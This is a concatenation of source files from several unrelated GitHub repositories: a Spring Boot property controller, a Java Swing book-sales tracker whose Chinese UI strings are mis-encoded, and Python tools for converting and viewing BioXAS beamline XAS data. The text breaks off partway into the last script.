```package com.demoproperty.demoproperty.Controller;
import cn.hutool.core.lang.Dict;
import com.demoproperty.demoproperty.property.ApplicationProperty;
import com.demoproperty.demoproperty.property.DeveloperProperty;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class PropertyController {
private ApplicationProperty applicationProperty;
private DeveloperProperty developerProperty;
@Autowired
public PropertyController(ApplicationProperty applicationProperty,DeveloperProperty developerProperty){
this.applicationProperty=applicationProperty;
this.developerProperty=developerProperty;
}
@RequestMapping("/property")
public Dict index() {
return Dict.create().set("applicationProperty", applicationProperty).set("developerProperty", developerProperty);
}
}
```
DeveloperProperty.java
```package com.demoproperty.demoproperty.property;
import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Component;
@Data
@Component
@ConfigurationProperties(prefix = "developer")
@PropertySource(value = "classpath:next.properties")
public class DeveloperProperty {
private String name;
private String website;
private String qq;
private String phoneNumber;
}
```
|
ywyue/Books-Sales-Management-Software
|
ywyue/Books-Sales-Management-Software
README.md
```# Books-Sales-Management-Software
An open source book sales management software written by Java.
## About
A store sells books. The original information of books (book code, book name, unit price) is placed in the file "Books. txt", and the program is written to count book sales. The initial stock of each book is 100.
## Function
* Display sales information through a textArea in the main window.
<p align="center">
<img src="./imgs/mainWindow.png" width="500">
</p>
* Enter and process each sales situation in the main window.
<p align="center">
<img src="./imgs/enterSales.png" width="500">
</p>
* Open a frame that displays the information of book stock through a button.
<p align="center">
<img src="./imgs/bookStock.png" width="500">
</p>
* Open a frame that displays the sales statistics by through a button.
<p align="center">
<img src="./imgs/salesStatistics.png" width="500">
</p>
* Write sales information to text file and exit the system.
<p align="center">
<img src="./imgs/SalesTxt.png" width="500">
</p>
```
BookList.java
```import java.io.*;
import java.util.*;
public class BookList {
public static ArrayList<Pair<Book,Integer>>booklist;
static {
try{
booklist = new ArrayList<>();
File filename = new File(System.getProperty("user.dir")+"\\Books.txt");
InputStreamReader isr = new InputStreamReader(new FileInputStream(filename));
BufferedReader br = new BufferedReader(isr);
String line = br.readLine();
while(true){
String[] putInfo;
line = br.readLine();
if(line == null){
break;
}
putInfo = line.split("\t",3);
Book book = new Book(putInfo[0],putInfo[1], Double.parseDouble(putInfo[2]));
booklist.add(new Pair<>(book,100));
}
br.close();
}
catch(Exception e) {
e.printStackTrace();
}
}
public static ArrayList<String> getStockInfo(){
ArrayList<String> list = new ArrayList<>();
for(int i =0;i<booklist.size();i++){
list.add(booklist.get(i).getBook().getID()+"\t"+booklist.get(i).getBook().getName()+"\t"+booklist.get(i).getNum());
}
return list;
}
}
```
SaleList.java
```
import java.util.ArrayList;
public class SaleList {
public static ArrayList<Sale>salelist = new ArrayList<>();
public static ArrayList<Sale> getSale(String ID){
ArrayList<Sale>list = new ArrayList<>();
for(int i=0;i<salelist.size();i++){
if(salelist.get(i).getBook().getID().equals(ID)){
list.add(salelist.get(i));
}
}
return list;
}
public static void addSale(Sale sale){
salelist.add(sale);
}
}
```
Sale.java
```
public class Sale {
private Book book;
private String seller;
private int count;
private int order;
public Sale(Book book,String seller,int count,int order){
this.book = book;
this.seller = seller;
this.count = count;
this.order = order;
}
public Book getBook(){
return book;
}
public String getSeller(){
return seller;
}
public int getCount(){
return count;
}
public int getOrder(){
return order;
}
public double getTlPrice(){
return book.getPrice()*count;
}
}
```
PhoneFrame.java
```import java.awt.event.*;
import java.util.ArrayList;
import javax.swing.*;
public class PhoneFrame extends JFrame implements ActionListener
{
private JButton btOk;
private JPanel panel;
public JTextArea ta;
private JScrollPane sp;
ArrayList<String> list;
public void go(){
this.setSize(400, 300);
this.setLocation(500, 250);
this.setTitle("ยฟรขยดรฆ");
btOk = new JButton("OK");
btOk.setBounds(170,220,60, 30);;
btOk.addActionListener(this);
ta = new JTextArea("รยผรรฉยฑร ยบร
\tรรปยณร\tยฟรขยดรฆ",10,10);
list = BookList.getStockInfo();
for(int i=0;i<list.size();i++){
ta.setText(ta.getText()+"\r\n"+list.get(i));
}
ta.setEditable(false);
sp = new JScrollPane();
sp.setViewportView(ta);
sp.setBounds(70, 30, 250, 160);
panel = new JPanel();
panel.setLayout(null);
panel.add(sp);
panel.add(btOk);
this.add(panel);
this.setVisible(true);
}
@Override
public void actionPerformed(ActionEvent e) {
if(e.getSource()==btOk){
this.dispose();
}
}
}
```
Pair.java
```
public class Pair<T1,T2> {
private Book book;
private int num;
public Pair(Book book,int num){
this.book = book;
this.num = num;
}
public Book getBook(){
return book;
}
public int getNum(){
return num;
}
}
```
BookSalesFrame.java
```import java.awt.*;
import java.awt.event.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FilenameFilter;
import java.io.PrintStream;
import java.util.ArrayList;
import javax.swing.*;
class BookSalesFrame implements ActionListener
{
private JFrame mainframe;
public JButton btStock;
private JButton btSales;
private JButton btExit;
private JButton btSubmit;
private JButton btClear;
private JLabel lQuantity;
private JLabel lBookid;
private JLabel lSeller;
private JTextField tQuantity;
private JTextField tBookid;
private JTextField tSeller;
public JTextArea textarea;
private JScrollPane scrollpane;
private JPanel panel1;
private JPanel panel2;
private Toolkit toolkit;
private Dimension screen;
private static int Width;
private static int Height;
static int salecount = 0;
public void go(){
mainframe = new JFrame("ๅพไนฆ้ๅฎ");
btStock = new JButton("ๆพ็คบๅบๅญ ");
btSales = new JButton("้ๅฎๅพ");
btExit = new JButton("ไฟๅญๅนถ้ๅบ");
btSubmit = new JButton("ๆไบค");
btClear = new JButton("ๆธ
้ค");
lQuantity = new JLabel("ๆฐ้");
lBookid = new JLabel("ๅพไนฆ็ผๅท");
lSeller = new JLabel("้ๅฎๅ");
tQuantity = new JTextField("",15);
tBookid = new JTextField("",15);
tSeller = new JTextField("",15);
scrollpane = new JScrollPane();
textarea = new JTextArea("ๅบๅท\t็ผๅท\tไนฆๅ\t้ๅฎๅ\tๆฐ้\tๅไปท\tๆปไปท\t",20,70);
textarea.setEditable(false);
textarea.setLineWrap(true);
scrollpane.setViewportView(textarea);
panel1 = new JPanel();
panel2 = new JPanel();
toolkit = Toolkit.getDefaultToolkit();
screen = toolkit.getScreenSize();
Width = screen.width/2;
Height = (screen.height/3)*2;
btStock.addActionListener(this);
btSales.addActionListener(this);
btExit.addActionListener(this);
btSubmit.addActionListener(this);
btClear.addActionListener(this);
mainframe.setSize(Width,Height);
mainframe.setLayout(null);
panel1.setSize(Width,Height/5);
panel1.setLayout(new FlowLayout(FlowLayout.CENTER,Width/10,Height/20));
panel1.add(btStock);
panel1.add(btSales);
panel1.add(btExit);
scrollpane.setBounds(10,10, Width-20, Height/3+20);
panel2.setLayout(null);
panel2.add(scrollpane);
panel2.setLocation(0,Height/5);
panel2.setSize(Width,Height/2);
btSubmit.setLocation(Width/5,Height/4*3);
btSubmit.setSize(new Dimension(70,30));
btClear.setBounds(Width/5,Height/4*3+50,70,30);
lQuantity.setBounds(Width/5*3,Height/4*3,50,25);
tQuantity.setBounds(Width/5*3+50,Height/4*3,150,25);
lBookid.setBounds(Width/5*3-25,Height/4*3+30,60,25);
tBookid.setBounds(Width/5*3+50,Height/4*3+30,150,25);
lSeller.setBounds(Width/5*3-13,Height/4*3+60,60,25);
tSeller.setBounds(Width/5*3+50,Height/4*3+60,150,25);
mainframe.add(panel1);
mainframe.add(panel2);
mainframe.add(btSubmit);
mainframe.add(btClear);
mainframe.add(tQuantity);
mainframe.add(lQuantity);
mainframe.add(lBookid);
mainframe.add(tBookid);
mainframe.add(lSeller);
mainframe.add(tSeller);
mainframe.setTitle("ๅพไนฆ้ๅฎ็ฎก็็ณป็ป");
mainframe.setLocation(300,150);
mainframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
mainframe.setResizable(false);
mainframe.setVisible(true);
}
private String saleInfo(String count,String seller,String ID){
String saleInfo = "";
for(int i=0;i<BookList.booklist.size();i++){
Book book = BookList.booklist.get(i).getBook();
if(book.getID().equals(ID)){
int num = BookList.booklist.get(i).getNum()-Integer.parseInt(count);
if(Integer.parseInt(count)<0){
JOptionPane.showMessageDialog(mainframe, "ๅพไนฆๆฐ้ไธ่ฝไธบ่ด๏ผ");
}
else{
if(num>=0){
saleInfo = "\r\n";
BookList.booklist.set(i, new Pair<>(book,num));
saleInfo +=(++salecount)+"\t"+ ID +"\t"+ book.getName()+"\t"+ seller +"\t" +count +"\t"+book.getPrice()+"\t"+book.getPrice()*Integer.parseInt(count);
SaleList.addSale(new Sale(book,seller,Integer.parseInt(count),salecount));
}
else {
JOptionPane.showMessageDialog(mainframe,"ๅบๅญไธ่ถณ!");
}
}
break;
}
else if(!book.getID().equals(ID)&&i==BookList.booklist.size()-1){
JOptionPane.showMessageDialog(mainframe,"ๆจ่พๅ
ฅ็ๅพไนฆไธๅญๅจ๏ผ");
}
}
return saleInfo;
}
private void exit(String filename){
try{
FileOutputStream fos = new FileOutputStream(filename);
PrintStream ps = new PrintStream(fos);
ps.println("\t\tๅพไนฆ้ๅฎ็ป่ฎก\t\t");
ps.println("\t============================");
for(int i=0;i<BookList.booklist.size();i++){
int tlCount = 0;
double tlPrice = 0;
Book book = BookList.booklist.get(i).getBook();
ps.println(book.getID()+" ๅท "+book.getName()+": ๅไปท "+book.getPrice());
ArrayList<Sale>saleInfo = SaleList.getSale(book.getID());
for(int j=0;j<saleInfo.size();j++){
Sale sale = saleInfo.get(j);
tlCount += sale.getCount();
tlPrice += sale.getTlPrice();
ps.println("C00"+sale.getOrder()+" "+sale.getSeller()+"\t\t"+sale.getCount()+" @ ๏ฟฅ "+book.getPrice()+" = ๏ฟฅ"+sale.getTlPrice());
}
ps.println("============================================");
ps.println("ๆป้้๏ผ"+tlCount+"\t\t\t๏ฟฅ"+tlPrice);
ps.println("============================================");
}
ps.close();
}
catch(Exception e){
e.printStackTrace();
JOptionPane.showMessageDialog(mainframe, "่ฏทไฟๅญๆไปถ๏ผ");
}
}
@Override
public void actionPerformed(ActionEvent e) {
if(e.getSource()==btStock){
PhoneFrame phoneframe = new PhoneFrame();
phoneframe.go();
mainframe.setResizable(false);
}
if(e.getSource()==btSales){
ChartFrame chartframe = new ChartFrame();
chartframe.setVisible(true);
}
if(e.getSource()==btExit){
FileDialog savefile = new FileDialog(mainframe,"Save File As",FileDialog.SAVE);
savefile.setVisible(true);
FilenameFilter fnf = new FilenameFilter(){
@Override
public boolean accept(File dir, String name) {
if(name!=null&&name.toLowerCase().endsWith(".txt")){
return true;
}
return false;
}
};
savefile.setFilenameFilter(fnf);
String filename = savefile.getDirectory()+savefile.getFile();
if(!filename.equals(savefile.getDirectory()+null)){
exit(filename);
System.exit(0);
}else{
JOptionPane.showMessageDialog(mainframe, "ๆจๆชไฟๅญๆไปถ๏ผ");
}
}
if(e.getSource()==btSubmit){
if(tQuantity.getText().equals("")||tBookid.getText().equals("")||tSeller.getText().equals(""))
{
JOptionPane.showMessageDialog(mainframe, "่ฏทๆจๅฐไฟกๆฏๅกซๅๅฎๆด๏ผ");
}
else{
textarea.setText(textarea.getText()+saleInfo(tQuantity.getText(),tSeller.getText(),tBookid.getText()));
}
}
if(e.getSource()==btClear){
tQuantity.setText("");
tBookid.setText("");
tSeller.setText("");
}
}
}
```
ChartFrame.java
```import java.awt.Color;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.util.ArrayList;
import javax.swing.JFrame;
public class ChartFrame extends JFrame {
public ChartFrame(){
setTitle("้ๅฎ็ป่ฎก่กจ");
setBounds(100, 100, 600, 300);
setLocation(500,250);
setResizable(false);
}
@Override
public void paint(Graphics g) {
int Width = getWidth();
int Height = getHeight();
int leftMargin = 20;
int topMargin = 50;
Graphics2D g2 = (Graphics2D) g;
int ruler = Height - topMargin - 5;
int rulerStep = ruler / 10;
g2.setColor(Color.WHITE);
g2.fillRect(0, 0, Width, Height);
g2.setColor(Color.BLACK);
for (int i = 0; i <= 10; i++) {
g2.drawString((100 - 10 * i) +"", 5, topMargin + rulerStep * i);
g2.drawLine(5, topMargin + rulerStep * i, Width, topMargin + rulerStep * i);
}
g2.setColor(Color.BLUE);
ArrayList<Pair<Book,Integer>> pairArrayList=getSaleInfo();
for (int i = 0; i < pairArrayList.size(); i++) {
Book book=pairArrayList.get(i).getBook();
int value = new Double(pairArrayList.get(i).getNum()/100.0*220).intValue();
int step = (i + 1) * 40;
g2.fillRoundRect(leftMargin + step * 2, Height-value-10, 40, value, 40, 10);
g2.drawString(book.getID(), leftMargin + step * 2+5, Height - value - 13);
}
}
private ArrayList<Pair<Book,Integer>> getSaleInfo(){
ArrayList<Pair<Book,Integer>> salelist=new ArrayList<>();
for (int i=0;i<BookList.booklist.size();i++){
int count=0;
for (int j=0;j< SaleList.salelist.size();j++){
if (SaleList.salelist.get(j).getBook().getID().equals(BookList.booklist.get(i).getBook().getID())){
count+=SaleList.salelist.get(j).getCount();
}
}
salelist.add(new Pair<>(BookList.booklist.get(i).getBook(),count));
}
return salelist;
}
}```
TestProg.java
```
public class TestProg {
public static void main(String[] args){
BookSalesFrame mainframe = new BookSalesFrame();
mainframe.go();
}
}
```
|
yxl1921/ros_class_example1
|
yxl1921/ros_class_example1
README.md
```# ros_class_example1
learning how to setup.
```
|
yxrmz/BioXAS_Toolbox
|
yxrmz/BioXAS_Toolbox
fix_double_energy.py
```# -*- coding: utf-8 -*-
"""
Created on Tue Dec 21 17:46:12 2021
@author: chernir
"""
import os
#dirname = r"D:\BioXAS\testdata"
dirname = "." # current dir
fixedname = "dEfixed"
dEmin = 0.1 # minimal E step in eV
for root, dirs, files in os.walk(dirname, topdown=False):
for name in files:
filepath = os.path.join(root, name)
filename = os.path.basename(filepath)
baseDirName = os.path.dirname(filepath)
if str(baseDirName).endswith(fixedname):
continue
file1 = open(filepath, 'r')
Lines = file1.readlines()
file1.close()
if not Lines[0].startswith("#"): # not an XAS scan
continue
newLines = []
Ep = None
En = None
for tline in Lines:
if len(tline) < 2:
continue
if not str(tline).startswith("#"):
fp = tline.split()[0]
try:
En = float(fp)
except:
print("Can't convert to float", fp)
continue
if all([En, Ep]):
dE = abs(En-Ep)
if dE < dEmin:
print("Dropping repeating energy point at", En, "eV")
continue
else:
Ep = En
else:
Ep = En
newLines.append(tline)
# print(len(Lines), type(Lines))
fixedDirName = os.path.join(baseDirName, fixedname)
if not os.path.exists(fixedDirName):
os.mkdir(fixedDirName)
file2 = open(os.path.join(fixedDirName, filename), 'w')
file2.writelines(newLines)
file2.close()
# break
```
README.md
```# BioXAS_Toolbox
Set of tools to convert/process Acquaman data files. Beamline-independent, works with files recorded at IDEAS, BioXAS, VESPERS. More templates can be added to tje acquamanDataFormats.py.
All created in python 3.7, not tested in other incarnations of python3, but might work right away.
## 1. Acquaman CDF converter (acquaman_exporter_sqlite3_DarkCorrection.py)
Simple script to export Acquaman raw data files to the HDF5 format. Dark currents corrected columns are added automatically as well as most of the metadata - motor positions, scan regions and so on.
Dependencies:
spacepy, h5py
### Installation
Script uses the CDFlib wrapper included in spacepy, it's necessary to install both the spacepy package and the library dlls.
Recommended way to install spacepy is pip:
```Bash
pip install spacepy
```
CDF library is available at https://spdf.gsfc.nasa.gov/pub/software/cdf/dist/cdf37_1/windows/
Just download and run the installer for your platform (cdf37_1_0-setup-64.exe for 64-bit Windows)
h5py is a python binding for HDF5, once again use pip:
```Bash
pip install h5py
```
### Usage
Check out the inline comments in the script, it's simple. In principle, one should define the input and output folders and scan name (the same as automatically exported file).
Leaving the percent symbol in the scanNameFiler will make the script export all spectra (may take some time and gigabyte of disk space).
Specify the input directory with raw Acquaman data, usually it's something like AcquamanMainData\users\PROJECT\userData, check if it contains the userdata.db file.
If the output folder doesn't exist, the script will create it.
## 2. Acquaman HDF Explorer, or just ACHE (AcquamanHDFExplorer.py)
GUI-enabled tool for fast analysis and visualisation of the fluorescent spectra previously exported to the HDF5 format. Allows you to inspect the full MCA data in the individual channes, create/modify the ROIs while interactively monitoring the quality of the resulting EXAFS.
Uses the live EXAFS extractor created by Vadim Murzin (PETRA III P64) and modified by Konstantin Klementiev (MAX-IV Balder). See https://github.com/vadmu/EXAFS_Monitor
This tool is in development, use it at your own risk, but don't hesitate to report bugs and request features.
### Installation
Use pip to install the dependencies:
```Bash
pip install numpy scipy h5py matplotlib pyqtgraph
```
### Usage
Run the script, the use the directory tree on the left to navigate to your HDF5 files. Double click the file to open it in the viewer (patience, these files are GB-sized). Once the structure is recognized and the data is loaded, the pixel selection table will appear. Slider on top allows to view the MCA maps for individual pixels (channel 0 corresponds to the sum along all enabled channels).
All ROIs created in Acquaman for the scan will be present in the ROI table. If no ROI was defined for the scan some arbitrary settings will be used. Red horizontal line will denote the emission peak position, yellow vertical line will be drawn at the absorption edge.
Use the matplotlib toolbar to zoom in and out. Default mouse click action (if no tool is enabled in the toolbar) is ROI selection. For better precision use the ROI panel to define the bounds.

EXAFS monitor (opens in separate window) will interactively show the counts (I0, I1, Fluo_in_ROI), mu(E) and even chi(k). Sum over all enabled pixels is used for the fluo curve, therefore you see right away what this or that pixel does with your EXAFS.

Once all bad pixels are disabled and the best ROI is identified, it's time to export the result into ASCII. To do that just set the file name and press the button in the Export panel (export status available in the terminal, let me know if you need a visible confirmation).
```
acquamanDataFormats.py
```# -*- coding: utf-8 -*-
"""
Created on Tue Jan 28 17:23:52 2020
@author: chernir
"""
format_BioXASMain = {'xaxis': 'AxisValues::',
'I0': 'I0Detector_darkCorrected',
'I1': 'I1Detector_darkCorrected',
'I2': 'I2Detector_darkCorrected',
'I3': 'PIPSDetector_darkCorrected',
'dwellTime': 'ScalerDwellTimeFeedback',
'mcaTotal': ('BioXASMainOutboardDetector',
'BioXASMainInboardDetector'),
'mcaSingle': ('BioXASMainOutboardDetectorRawSpectrum{}',
'BioXASMainInboardDetectorRawSpectrum{}')}
format_BioXASSide = {'xaxis': 'AxisValues::',
'I0': 'I0Detector_darkCorrected',
'I1': 'I1Detector_darkCorrected',
'I2': 'I2Detector_darkCorrected',
'I3': 'PIPSDetector_darkCorrected',
'dwellTime': 'ScalerDwellTimeFeedback',
'mcaTotal': ('Ge32Element',),
'mcaSingle': ('Ge32ElementRawSpectrum{}',)}
format_IDEAS = {'xaxis': 'AxisValues::',
'I0': 'I_0',
'I1': 'Sample',
'I2': 'Reference',
'dwellTime': 'dwellTime',
'mcaTotal': ('KETEK',)}
format_VESPERS = {'xaxis': 'AxisValues::',
'I0': 'SplitIonChamber',
'I1': 'MiniIonChamber',
'I2': 'PostIonChamber',
'I3': 'PreKBIonChamber',
'dwellTime': 'MasterDwellTime',
'mcaTotal': ('FourElementXMapVortex',),
'mcaSingle': ('FourElementVotexRawSpectrum{}',)}
dataFormats = {'BioXAS-Main': format_BioXASMain,
'BioXAS-Side': format_BioXASSide,
'IDEAS': format_IDEAS,
'VESPERS': format_VESPERS}```
acquaman_exporter_sqlite3_DarkCorrection.py
```# -*- coding: utf-8 -*-
"""
Created on Tue Nov 26 13:31:28 2019
@author: chernir
"""
import os
#os.environ["CDF_LIB"] = '/local/dorofel/Software/cdf/lib'
from spacepy import pycdf
import h5py
import numpy as np
import sys
import os
import sqlite3
# Directory must contain the userdata.db file used by Acquaman
dirname = r"X:\bioxas-m\AcquamanMainData\users\31-10395\userData"
# Output directory. Will be created if not exists
outputDir = r"D:\BioXAS\Test_export"
# One may convert only the scan with certain names, i.e. "MPE_Nickel%"
# Do not specify the ordinal number of the scan here
# Use the % wildcard to process all scans
scanNameFilter = "%"
# Specific scan type can be converted
# possible values for BioXAS are
# 'BioXASXAS%' for EXAFS/XANES scans
# 'AMXRF%' for XRF scans
# 'BioXASGeneric%' for generic scans
scanTypeFilter = "BioXASXAS%"
#dirname = "/local/dorofel/localBeamlineData/BioXAS/bioxas-m/AcquamanMainData/users/30-10721/userData"
#outputDir = "/local/dorofel/tmp/HDF5/BioXAS"
dbpath = os.path.join(dirname, 'userdata.db')
if not os.path.isfile(dbpath):
print(f"No such file {dbpath}")
exit(1)
conn = sqlite3.connect(dbpath)
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
qu = f"""SELECT name, number, filePath, id, scanInitialConditions, scanConfiguration, dateTime, endDateTime
FROM AMScan_table WHERE name LIKE '{scanNameFilter}' AND scanConfiguration LIKE '{scanTypeFilter}'"""
cursor.execute(qu)
rows = cursor.fetchall()
# Loop filenames
#totalLen = len(rows)
for irow, row in enumerate(rows):
print(f"Processing record {irow+1} out of {len(rows)}")
# Extract session name and date
AMsession = {}
qu = "SELECT name as session_name, MAX(dateTime) as session_start FROM AMRun_table WHERE dateTime<=?"
cursor.execute(qu, (row['dateTime'],))
sess = cursor.fetchone()
if sess:
AMsession.update({k: sess[k] for k in sess.keys()})
DCdict = {}
ROIdict = {}
BCdict = {}
SRdict = {}
ELdict = {}
for k in row.keys():
print(f"{k}: {row[k]}")
cdfPath = os.path.join(dirname, row['filePath'])
scanid = (row['id'],)
# Extract dark currents
# qu_dc = """SELECT dataName, darkCurrent, timeUnitMultiplier FROM AM1DDarkCurrentCorrectionAB_table
# JOIN AMScan_table_analyzedDataSources ON AMScan_table_analyzedDataSources.id2=AM1DDarkCurrentCorrectionAB_table.id
# WHERE table2='AM1DDarkCurrentCorrectionAB_table' AND id1 LIKE ?"""
qu_dc = """SELECT dataName, darkCurrent, timeUnitMultiplier FROM AM1DDarkCurrentCorrectionAB_table,
AMScan_table_analyzedDataSources WHERE table2='AM1DDarkCurrentCorrectionAB_table' AND
AMScan_table_analyzedDataSources.id2=AM1DDarkCurrentCorrectionAB_table.id AND id1 LIKE ?"""
for dcrow in cursor.execute(qu_dc, scanid):
DCdict[dcrow['dataName']] = (dcrow['darkCurrent'], dcrow['timeUnitMultiplier'])
# Extract ROI info
# qu_roi = """SELECT AMRegionOfInterestAB_table.name as roi_name,
# binningRangeLowerBound, binningRangeUpperBound FROM AMRegionOfInterestAB_table
# JOIN AMScan_table_analyzedDataSources ON AMScan_table_analyzedDataSources.id2=AMRegionOfInterestAB_table.id
# WHERE table2='AMRegionOfInterestAB_table' AND id1=?"""
# qu_roi = """SELECT DISTINCT AMRegionOfInterestAB_table.name as roi_name,
# binningRangeLowerBound, binningRangeUpperBound, AMRegionOfInterest_table.energy FROM AMRegionOfInterestAB_table,
# AMRegionOfInterest_table, AMScan_table_analyzedDataSources WHERE AMRegionOfInterestAB_table.id=AMScan_table_analyzedDataSources.id2 AND
# AMRegionOfInterest_table.id=AMRegionOfInterestAB_table.id1 AND AMScan_table_analyzedDataSources.id1=?"""
qu_roi = """SELECT DISTINCT AMRegionOfInterestAB_table.name as roi_name,
binningRangeLowerBound, binningRangeUpperBound FROM AMRegionOfInterestAB_table,
AMScan_table_analyzedDataSources WHERE AMRegionOfInterestAB_table.id=AMScan_table_analyzedDataSources.id2 AND
AMScan_table_analyzedDataSources.id1=?"""
for roirow in cursor.execute(qu_roi, scanid):
ROIdict[roirow['roi_name']] = (roirow['binningRangeLowerBound'], roirow['binningRangeUpperBound'])
exclude_keys = ['id', 'name', 'AMDbObjectType', 'thumbnailCount', 'thumbnailFirstId']
exclude_values = [None, '']
# Extract beamline configuration
table1, idx1 = row['scanInitialConditions'].split(';')
query_params = (idx1, table1)
qu_bc = """SELECT AMControlInfo_table.* FROM AMControlInfo_table JOIN AMControlInfoList_table_controlInfos
ON AMControlInfo_table.id=AMControlInfoList_table_controlInfos.id2
WHERE AMControlInfoList_table_controlInfos.id1=? AND AMControlInfoList_table_controlInfos.table1=?"""
for row1 in cursor.execute(qu_bc, query_params):
ctrl_name = row1['name']
BCdict[ctrl_name] = {}
for k1 in row1.keys():
if k1 not in exclude_keys:
if row1[k1] not in exclude_values:
BCdict[ctrl_name].update({k1: row1[k1]})
# Extract scan regions
table2, idx2 = row['scanConfiguration'].split(';')
query_params = (idx2, table2)
qu_sr = "SELECT AMScanAxis_table_axisRegions.id2, AMScanAxis_table_axisRegions.table2"
qu_sr += f" FROM AMScanAxis_table_axisRegions JOIN {table2}_scanAxes ON"
qu_sr += f" {table2}_scanAxes.id2=AMScanAxis_table_axisRegions.id1"
qu_sr += f" WHERE {table2}_scanAxes.id1=? AND {table2}_scanAxes.table1=?"
try:
cursor.execute(qu_sr, query_params)
rows1 = cursor.fetchall()
for row1 in rows1:
params2 = (row1['id2'],)
qu = f"SELECT * FROM {row1['table2']} WHERE id=?"
for row2 in cursor.execute(qu, params2):
region_name = row2['name']
SRdict[region_name] = {}
for k2 in row2.keys():
if k2 not in exclude_keys:
if row2[k2] not in exclude_values:
SRdict[region_name].update({k2: row2[k2]})
except sqlite3.OperationalError:
# there might be no such table for certain scan types
pass
query_params = (idx2,)
qu_sr = f"""SELECT name, energy, lowerBound, upperBound FROM AMRegionOfInterest_table, {table2}_regionsOfInterest
WHERE AMRegionOfInterest_table.id={table2}_regionsOfInterest.id2 AND
{table2}_regionsOfInterest.id1=?"""
try:
cursor.execute(qu_sr, query_params)
rows1 = cursor.fetchall()
for row1 in rows1:
lineName = row1['name']
ELdict[lineName] = {'energy': row1['energy'],
'lowerBound': row1['lowerBound'],
'upperBound': row1['upperBound']}
except sqlite3.OperationalError:
# there might be no such table for certain scan types
pass
h5FileName = f"{row['name']}_{row['number']}.hdf5"
try:
os.makedirs(outputDir)
except FileExistsError:
pass
with h5py.File(os.path.join(outputDir, h5FileName), 'w') as h5file:
print(f"Converting {cdfPath} to {h5FileName}")
nxentry = h5file.create_group(u'scan')
with pycdf.CDF(cdfPath) as cdf:
for ikey, key in enumerate(cdf.keys()):
# if ikey == 0:
# print("Total counts in channel 1:", np.sum(np.array(cdf[key])))
if len(cdf[key]) > 0:
nxentry.create_dataset(key, data=np.array(cdf[key]))
if key in DCdict.keys():
print("Found dark currents for ", key)
sliceStart = 1 if len(cdf['ScalerDwellTimeFeedback']) > len(cdf[key]) else 0
nxentry.create_dataset(
"{}_darkCorrected".format(key),
data=np.array(cdf[key]) -
(DCdict[key][0]*DCdict[key][1] *
np.array(cdf['ScalerDwellTimeFeedback']))[sliceStart:])
# nxentry.create_dataset(
# "{}_darkCorrection".format(key),
# data=DCdict[key][0] * DCdict[key][1] *
# np.array(cdf['ScalerDwellTimeFeedback']))
nxentry.attrs.create("start_time", np.string_(f"{row['dateTime']}"))
nxentry.attrs.create("end_time", np.string_(f"{row['endDateTime']}"))
if AMsession:
for sk in AMsession:
nxentry.attrs.create(sk.encode('utf-8'), np.string_(f"{AMsession[sk]}"))
dcentry = h5file.create_group(u'dark_currents')
for dc_key, dc_value in DCdict.items():
dcentry.create_dataset(dc_key, data=np.array(dc_value))
roientry = h5file.create_group(u'ROIs')
for roi_key, roi_value in ROIdict.items():
roientry.create_dataset(roi_key, data=np.array(roi_value))
bcall = h5file.create_group(u'beamline_configuration')
for bc_key, bc_value in BCdict.items():
bcentry = bcall.create_group(f'{bc_key}')
for ck, cv in bc_value.items():
if isinstance(cv, str):
cv = cv.encode('utf-8')
bcentry.create_dataset(ck.encode('utf-8'), data=np.array(cv,))
if SRdict:
scanregions = h5file.create_group(u'scan_regions')
for sr_key, sr_value in SRdict.items():
srentry = scanregions.create_group(f'{sr_key}')
for rk, rv in sr_value.items():
if isinstance(rv, str):
rv = rv.encode('utf-8')
srentry.create_dataset(rk.encode('utf-8'), data=np.array(rv, ))
if ELdict:
emissionLines = h5file.create_group(u'emission_lines')
for el_key, el_value in ELdict.items():
elgrp = emissionLines.create_group(el_key)
for elval_key, elval_val in el_value.items():
elgrp.create_dataset(elval_key, data=np.array(elval_val))
# print(cdf.keys())
# print(DCdict)
# print(ROIdict)
```
AcquamanHDFExplorer.py
```# -*- coding: utf-8 -*-
"""
Created on Apr 26. Modified by chernir on Jan 22 2020
@author: konkle
"""
import time
import os
import re
from functools import partial
import json
import itertools
import numpy as np
from scipy.optimize import curve_fit
from scipy.interpolate import LSQUnivariateSpline, interp2d
from scipy.ndimage import gaussian_filter1d
from scipy.integrate import simps
import pyqtgraph as pg
from pyqtgraph.Qt import QtCore, QtGui
import h5py
import matplotlib as mpl
from matplotlib.figure import Figure
mpl.use('Qt5Agg')
from matplotlib.backends.backend_qt5agg import (
FigureCanvas, NavigationToolbar2QT as NavigationToolbar)
from matplotlib.widgets import SpanSelector
pg.setConfigOptions(antialias=False)
from acquamanDataFormats import dataFormats
from lmfit import Model, models
from matplotlib import pyplot as plt
isTest = True
needFY = True
allAtOnce = True
FRAME_CHUNK_GENERAL = 1
FRAME_CHUNK_MU = 20
FRAME_CHUNK_EXAFS = 50
DETECTOR_NCHANNELS = 1
#DETECTOR_SUM_STR = 'BioXASMainOutboardDetector'
#DETECTOR_PIX_STR = 'BioXASMainOutboardDetectorRawSpectrum{}'
#ROOTPATH = r"X:\bioxas-m\AcquamanMainData\users"
ROOTPATH = ""
FLUOBIN = 10
MAX_DETECTORS = 2
ch = 12398.419297617678 # c*h[eV*A]
eV2revA = 0.2624682843 # 2m_e(eV)/(hbar(eVs)c(ร
/s))^2
LABELS_TR = ['aem', 'current']
LABELS_FY = ['lima', 'roi', 'fy', 'fluo']
SIGNAL_KIND_UNKNOWN, SIGNAL_KIND_TR, SIGNAL_KIND_FY = range(3)
COLOR_LIME = '#BFFF00'
COLOR_ORCHID = '#DA70D6'
COLOR_GRAY = '#888888'
COLOR_DEFAULT = COLOR_GRAY
colorCycleT = ['#ff0000', '#00ff00', '#00ffff', '#ffff00',
'#0000ff', '#ff00ff', '#ffffff', '#aaaaaa']
colorCycleF = ['#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd',
'#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf']
labelStyle = {'color': '#AAA', 'font-size': '10pt'}
PEN_WIDTH = 1.
"""
To pass configs:
door = taurus.Attribute('Balder/Door/01)
